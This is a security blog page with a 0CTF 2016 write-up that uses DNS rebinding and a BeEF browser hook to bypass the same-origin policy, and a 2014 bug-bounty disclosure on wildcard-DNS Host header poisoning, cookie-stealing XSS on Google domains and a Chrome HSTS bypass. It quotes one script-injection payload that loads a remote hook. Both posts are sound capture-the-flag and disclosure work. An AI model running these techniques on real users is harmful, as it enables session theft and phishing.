Showing posts with label dns. Show all posts
Showing posts with label dns. Show all posts

Sunday, March 13, 2016

0CTF 2016 Write Up: Monkey (Web 4)

The Chinese 0CTF took place on March 12-13 and it was yet another fun CTF. I played with my teammates from TheGoonies and we were ranked #48.

I found the Web task "Monkey" particularly interesting: I solved it with the help from my friend @danilonc, but it took way longer than it should because of some **Spoiler Alert** DNS glitches. According to the scoreboard status, approximately 35 teams were able to solve it.

Task: Monkey (Web - 4pts)

What is Same Origin Policy?

you can test this problem on your local machine

http://202.120.7.200

The running application receives a Proof-of-Work string and an arbitrary URL, instructing a "monkey" to browse the inputted URL for 2 minutes.

Proof-of-Work

Solving the proof-of-work is pretty straightforward. We had to generate random strings and compare the first 6 chars from its MD5 against the challenge. The POW challenge was more cpu-intensive than normal, so the traditional bash/python one-liner ctf scripts would require some performance improvements.

@danilonc had written a quick hack using Go to bruteforce and solve POW from older CTF challs, so we just slightly modified it:


Solving the Proof-of-Work:
Same-Origin-Policy and CORS

The Same-Origin-Policy (SOP) deems pages having the same URI scheme, hostname and port as residing at the same-origin. If any of these three attributes varies, the resource is in a different origin. Hence, if provided resources come from the same hostname, scheme and port, they can interact without restriction.

If you try to use an XMLHttpRequest to send a request to a different origin, you can’t read the response. However, the request will still arrive at its destination. This policy prevents a malicious script on one page from obtaining access to sensitive data (both the header and the body) on another web page, on a different origin.

For this particular CTF challenge, if the secret internal webpage had had an insecure CORS header like "Access-Control-Allow-Origin: *", we would be able to retrieve its data with no effort. This, of course, was not the case.


Bypassing the Same-Origin

The flag was accessible on an internal webserver hosted at http://127.0.0.1:8080/secret. The first thing we did was hooking the monkey's browser using BeEF, so we could fingerprint his device, platform, plugins and components.


There was nothing interesting here, a custom user-agent and no known vulnerable component. We enumerated the chars accepted by the server with the following script:

Unfortunately, the server was rejecting special chars like spaces (%20 and +) and there was no command injection signal. Our evil plan to input --disable-web-security $URL to disable Chrome's SOP didn't work so we had to find new ways to retrieve the secrets.


We also thought about using data:uri and file schemes to load a malicious script/webpage, but it wouldn't help us to bypass the SOP. We tried to input URL's like <html><script/**/src='http://www.example.com:8000/hook.js'></script></html> and file:///proc/self/environ (setting custom headers with a malicious HTML), but that is also known not to work on modern browsers.


DNS Rebinding

After some discussion, we came to the conclusion that we needed to perform a DNS Rebinding attack. devttys0 presented about this class of vulnerabilities at DEFCON 18 and @mikispag recently wrote a detailed post describing how to use DNS rebinding to steal WiFi passwords.

DNS rebinding is a technique that can be used to perform a breach of same-origin restrictions, enabling a malicious website to interact with a different domain. The possibility of this attack arises because the segregations in the SOP are based primarily on domain name and port, whereas the ultimate delivery of HTTP requests involves converting domain names into IP addresses.

We had some issues at first because we tried to use the free DNS service from DuckDNS and it was very glitchy. For some obscure reason, we were unable to hook the user's browser when using the service.

In order to make our life miserable, the challenge monkey would browse the site for two minutes only: we also could't use the DNS services from Namecheap because the minimum TTL time is 60 seconds.


Attack Phase

After deciding to set up the DNS server on our own, we came with the following attack scenario:

1) User visits the beef hook page at http://ctf.example.com:8080 (IP 1.2.3.4).

2) Webpage will load BeEF javascript hook and his browser will become a zombie.

3) We perform a DNS Rebind to change the A Record from 1.2.3.4 to 127.0.0.1. @danilonc set the BIND Zone file with a low TTL (1 sec) and replaced the answer (lines 14-15) as soon as the browser got hooked.


4) Perform a CORS request using BeeF's "Test CORS Request" module.


Here's a small diagram of the attack:



After a couple of tries we finally managed to get the flag:


Flag: 0ctf{monkey_likes_banananananananaaaa}

Monday, March 31, 2014

Wildcard DNS, Content Poisoning, XSS and Certificate Pinning

Hi everyone, this time I'm going o talk about an interesting vulnerability that I reported to Google and Facebook a couple of months ago. I had some spare time last October and I started testing for vulnerabilities on a few companies with established bug bounty programs. Google awarded me with $5000,00 and Facebook payed me $500,00 for reporting the bugs.

I know you may be more interested on highly sophisticated exploits that allow arbitrary file upload to the Internet, with custom payloads that may lead to unexpected behavior like closing Security Lists. Hopefully this class of bugs is already patched by Fyodor and Attrition is offering an efficient exploit mitigation technique.

The title may be a little confusing, but I'm going to show that it's possible to combine all these techniques to exploit vulnerable systems.

Content Poisoning and Wildcard DNS

Host header poisoning occurs when the application doesn't validate full URL's generated from the HTTP Host header, including the domain name. Recently, the Django Framework fixed a few vulnerabilities related to that and James Kettle made an interesting post discussing lots of attack scenarios using host header attacks.

While testing this issue, I found a different kind of Host header attack that abuses the possibility to browse wildcard domains. Let's have a quick look at the Wikipedia entry on Hostnames:
"The Internet standards (Request for Comments) for protocols mandate that component hostname labels may contain only the ASCII letters 'a' through 'z' (in a case-insensitive manner), the digits '0' through '9', and the hyphen ('-'). The original specification of hostnames in RFC 952, mandated that labels could not start with a digit or with a hyphen, and must not end with a hyphen. However, a subsequent specification (RFC 1123) permitted hostname labels to start with digits. No other symbols, punctuation characters, or white space are permitted."
The fun part here is that the network stack from Windows, Linux and Mac OS X consider domains like -www.plus.google.com, www-.plus.google.com and www.-.plus.google.com valid. It's interesting to note that Android won't resolve these domains for some reason.



Take, for example, the following URL: https://www.example.com.-.www.sites.google.com. If we compose an e-mail and paste it on the body, GMail will split them and the received message will have two “clickable” parts (https://www.example.com and sites.google.com).


Most e-mail based notification use the very same host you are browsing in order to compose the notification messages: you see where this is going, right?

Facebook has a wildcard DNS entry at zero.facebook.com. In order to exploit the flaw, we have to browse the service using a poisoned URL and perform actions that may need e-mail confirmation, checking whether Facebook mails the crafted URL to the user.


The only vulnerable endpoint that I found affected by this issue was the registration e-mail confirmation. You may be asking, how could one exploit this to attack a legitimate user?

Suppose I want to attack the Facebook account from goodguy@example.com. I can create or associate a "duplicate" account using the "+" sign by browsing Facebook with these injected URL's. If I navigate to Facebook using an URL like https://www.example.com.-.zero.facebook.com, all I have to do is create the duplicate account goodguy+DUPLICATE@example.com. Most e-mail services like GMail and Hotmail don't consider what you type after the "+" and forward it to the original account.

In this case, all e-mails that Facebook sent to confirm that association had the poisoned links.


This can also be used to poison password reset emails, but Facebook forms were not affected. They quickly fixed that by hard coding the proper URL to their e-mail confirmation system. It's also possible (but not recommended) to fix these issues by sending notifications with relative links instead of complete URL's ("please click here" instead of "please click on the specified url: www.example.com.-.zero.facebook.com").

XSS and Wildcard DNS

While searching for these issues on Google I quickly found wildcard domains like:

https://w00t.drive.google.com
https://w00t.script.google.com
https://w00t.sites.google.com

In case you're wondering how to quickly find these wildcard domains, you can download and lookup for them on the scans.io datasets. You can find these references on the Reverse DNS records or by searching for SSL certificates issued to wildcard domains, like *.sites.google.com.

During my initial tests, I was unable to craft URL's using .-. inside the drive.google.com domain (got 500 error messages) and all I could do was creating URL’s like this: https://www.example.com-----www.drive.google.com.

When you browse Google Drive using this URL, upload a File to a Folder and try to Zip/Download it asking for an e-mail confirmation (“Email when ready”), the e-mail confirmation message will be like this:


The "ready for downloading" link would point to https://www.example.com-----www.drive.google.com/export-result?archiveId=REDACTED. So far no big deal, I was still unable to poison the links... And phishing yourself is not that useful =)

I kept testing different URL's until I found a weird behavior on Google DNS Servers. When typing URL's containing a domain you control followed by a certain number of "-" and the wildcard domain from Google, the resolved IP would be the one from the URL you control.

My highly sophisticated Fuzzer in action
For some reason, there was a glitch on their DNS servers, more specifically in the regexp that stripped "--" from the domain prefixes. I'm not sure why they performed these checks but that may have something to do with Internationalized Domain Names.

XKCD's take on the bug
Some Google domains affected by this issue (October 2013):

docs.google.com
docs.sandbox.google.com
drive.google.com
drive.sandbox.google.com
glass.ext.google.com
prom-qa.sandbox.google.com
prom-test.sandbox.google.com
sandbox.google.com
script.google.com
script.sandbox.google.com
sites.google.com
sites.sandbox.google.com

Now that I can impersonate a Google's domain, it's possible abuse the Same Origin policy and issue requests on behalf of a logged user. lcamtuf already told us about HTTP cookies, or how not to design protocols. What happens if we control www.example.com and the logged user from drive.google.com visits the crafted URL http://www.example.com---.drive.google.com?

Request goes to legitimate site:


Requests goes to the user-controlled site, in this case my own server running nginx:


This leverages to a XSS-like attack: you have now bypassed the same origin and you can steal cookies and run scripts on the context of the site, for example.

Certificate Pinning and Wildcard DNS

So far so good, but what if we were performing the same tests on Google Chrome, which enforces Certificate Pinning for their domains? I didn't notice at first, but I accidentally found an issue on Chrome too: it was failing to perform the proper HSTS checks for these non-RFC compliant domains.

Other parts of the network stack were processing and fetching results from these "invalid" DNS names, but TransportSecurityState was rejecting them and therefore HSTS policies didn't apply. They simply removed the sanity checks to make TransportSecurityState more promiscuous in what it process.



You can easily reproduce this on Chrome prior to v31: proxy Chrome through OWASP ZAP (accepting its certificate), visit URL’s like https://sites.google.com and Chrome will display a “heightened security” error message. If you type URL’s like https://www-.sites.google.com or https://www-.plus.google.com Chrome offers the option to “Proceed anyway”. If you're in Turkey right now you don't need to do nothing, the Turkish Telecom does all the MITM job for you.



It's worth mentioning that when you issue a wildcard certificate for your host, it will be valid for a single level only. Certificates issued to *.google.com should not be trusted when used on domains like abc.def.google.com.

The hardcoded list of domains and pinned certificates from Chrome can be found here:

https://src.chromium.org/viewvc/chrome/trunk/src/net/http/transport_security_state_static.json

During my analysis, I found that 55 out of 397 domains with Transport Security enabled had wildcard entries on their DNS. A nation sponsored attacker, with a valid and trusted CA could simply MITM your traffic and inject requests to these invalid domains, circumventing the HSTS policies and stealing session cookies, for example.

Google did not assign a CVE for that bug, but they fixed that within a couple of weeks. Chrome 32 and 33+ (the one that changed the SSL warning from red to yellow) are not affected by this issue.

In times of Goto fails, it was really interesting to follow the Chromium's tracker, their internal discussions, tests performed and so on. The commits fixing these issues can be found here.

Conclusion

Google and Facebook security teams were both great to deal with. The bug was quite fun as well because it was different from the traditional OWASP Top 10 issues.

And because the industry totally needs new Vulnerability terminologies, anyone willing to refer to these attacks shall name them Advanced Persistent Cross Site Wildcard Domain Header Poisoning (or simply APCSWDHP).

In case you're from NSA and want to use this technique to implant our DNS's, please use the codename CRAZY KOALA so we could better track them when the next Snowden leaks your documents.